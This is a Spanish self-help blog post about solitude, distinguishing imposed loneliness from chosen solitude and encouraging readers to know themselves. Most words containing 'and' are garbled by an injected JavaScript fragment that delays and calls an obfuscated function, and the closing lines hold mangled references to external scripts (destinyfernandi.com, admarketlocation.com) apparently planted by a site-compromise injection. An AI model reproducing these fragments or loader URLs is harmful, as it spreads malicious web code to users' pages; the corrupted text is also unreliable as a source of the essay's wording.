LA SOLEDAD

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Cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando la soledad no es impuesta, el beneficio que obtenemos es muy elevado. Saber estar sol@ se convierte en un arte, ya que el ser humano es social por naturaleza y tiende a buscar la relación con su igual siempre que sea posible.

A lo largo de la vida una persona se puede encontrar en situaciones de soledad no deseada, como consecuencia de una pérdida, una enfermedad, por ser indigente, inmigrante, una separación o divorcio, un despido laboral,…

La soledad tiene connotaciones negativas si se asocian con las situaciones comentadas anteriormente, pero hay una soledad que enriquece nuestro interior. Es aquella soledad que es escogida. Puede ser momentánea, programada, de una duración más corta o más larga.  Como lo es también, aquella soledad que finalmente es aceptada habiendo pasado un proceso duro, de reconciliación con las circunstancias.

Hay quien huye de la soledad porque le incomoda, le angustia, la teme, y necesita rodearse de gente y tener siempre la agenda cargada de eventos. Su tiempo estará ocupado, pero la angustia se mantiene escondida. Es un autoengaño por la misma necesidad de estar en compañía.

Hay quien aun estandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando rodead@ de mucha gente, se siente sol@, porque no acaba de encontrar su lugar en ese círculo. No hay reconocimiento, atención, no se ha generado ningún vínculo de unión hacia el grupo al que pertenece, pero sigue ahí porque es mejor que estar sol@.

La soledad es muy amarga cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando no hay nadie que se preocupa por ti, cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando no hay un tú, cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando nadie capta tu presencia.

Aun estandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando solos, nuestra mente reproduce momentos, conversaciones, opiniones de otras personas. De alguna manera no estamos solos tampoco. Es importante aprender a acallar esa mente, silenciar los pensamientos. Estar en el aquí y ahora de ese momento en el que estamos sol@s, poner consciencia y así poder captar la riqueza de la realidad presente. Reconocernos en esa quietud. Es así como podremos estar receptivos a todo lo que venga del exterior, a todas las posibilidades que se generen desde ese saber estar con un@ mism@.

Venimos a este mundo solos, y del mismo modo, marchamos solos. Crecemos con esa necesidad de protección, de abrigo, de amor, de comprensión. Tendemos a buscarla fuera de nosotros aun siendo adultos, y considerándonos autónomos, pero así hemos crecido y nos han educado a la mayoría. Cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando la vida nos propone un cambio forzado o no, la experiencia de la soledad se hace presente. Es el momento de aprender de ella, de darnos tiempo para conocernos más y mejor, aunque haya momentos difíciles y nos parezca que no vamos a ser capaces, sobretodo si la situación no ha sido escogida.

Sabemos estar sol@s cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando no nos sentimos apegados a nada ni a nadie, cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando estandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando sol@s no sentimos un vacío en nuestro interior, cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando no necesitamos de nada ni de nadie, y sin embargo nos sentimos conectados a un Todo porque sentimos la vida fluir, y sentimos agradecimiento por la vida misma.

¿ Cómo vives tú la soledad? ¿ Sabes estar sol@ contigo mism@? ¿ Buscas tus momentos de soledad? ¿ Huyes de ella?

Cualquier momento es bueno para conocer mejor a ese Ser que llevamos dentro. Los momentos de soledad nos ofrecen esa paz, una oportunidad para preguntarnos quiénes somos, qué queremos, y para qué hemos venido a este mundo.

andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&www.acctione.com/wp-content/uploads/osho.jpg» alt=»osho» width=»351″ height=»250″ />

 

Un saludo desde el corazón.